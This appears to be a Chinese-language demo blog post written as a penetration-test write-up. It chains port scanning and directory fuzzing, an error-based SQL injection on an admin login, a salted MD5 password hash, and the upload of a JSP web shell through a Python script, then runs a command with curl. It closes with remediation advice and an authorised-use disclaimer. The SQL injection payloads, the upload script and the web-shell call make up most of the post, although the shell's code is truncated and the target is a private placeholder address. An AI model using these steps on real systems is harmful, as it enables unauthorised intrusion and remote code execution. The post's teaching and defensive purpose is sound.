【示例】从 SQL 注入到后台 RCE 的完整利用链

这是一篇排版演示用的示例文章,用来展示代码高亮、目录、引用、表格的效果。看完可以直接删掉,换成你自己真正的笔记。

外网暴露的一个后台管理系统,登录处存在报错型 SQL 注入,顺着数据库里的管理员凭证登进后台,再从文件上传点拿到 RCE。整条链路如下。

0x01 信息收集

先摸端口和服务版本:

1
2
nmap -sV -Pn -T4 --top-ports 1000 10.0.0.1
nmap -sV -p 80,443,8000,8080,8443 -Pn 10.0.0.1

返回结果里有意思的是 8080 上的 Tomcat,以及 /admin 下的登录页。目录爆破:

1
2
ffuf -u http://10.0.0.1/FUZZ -w /usr/share/wordlists/dirb/common.txt \
-mc 200,301,302,403 -t 50

0x02 登录处 SQL 注入

抓登录包:

1
2
3
4
5
POST /admin/login.action HTTP/1.1
Host: 10.0.0.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=1

单引号探一下,直接报错回显了 SQL 语法错误 —— 典型的手写拼接:

1
username=admin' AND 1=1-- -

判断字段数、找回显位:

1
2
admin' ORDER BY 5-- -
admin' UNION SELECT 1,2,3,4,5-- -

数据库里翻到管理员表,密码是加盐 MD5:

字段
username sysadmin
password e10adc3949ba59abbe56e057f20f883e
salt a1b2c3

0x03 上传点拿 RCE

后台「系统设置 → 图标上传」没有校验后缀,只在前端做了 JS 判断:

1
2
3
4
5
6
7
8
9
10
import requests

s = requests.Session()
s.post("http://10.0.0.1/admin/login.action",
data={"username": "sysadmin", "password": "xxx"})

files = {"file": ("shell.jsp", "<%@ page import=\"java.util.*,java.io.*\" %>...",
"image/jpeg")}
r = s.post("http://10.0.0.1/admin/upload.action", files=files)
print(r.text)

回显里的路径直接就是可访问的:

1
2
curl "http://10.0.0.1/upload/2026/09/shell.jsp?cmd=whoami"
# nt authority\system

0x04 修复建议

  1. 所有 SQL 语句改预编译(PreparedStatement),不要手拼字符串
  2. 上传点做后缀白名单,并且把存储目录设为不可执行
  3. 后台加 IP 白名单或 VPN 访问,别直接裸奔在外网
  4. 前端校验只是体验,服务端必须再校验一次

本文仅用于授权测试与安全学习,请勿用于未授权场景。

【示例】从 SQL 注入到后台 RCE 的完整利用链

https://0xsec-blog.pages.dev/2026/09/15/demo-sqli-to-rce/

作者

止水来咯

发布于

2026-09-15

更新于

2026-09-16

许可协议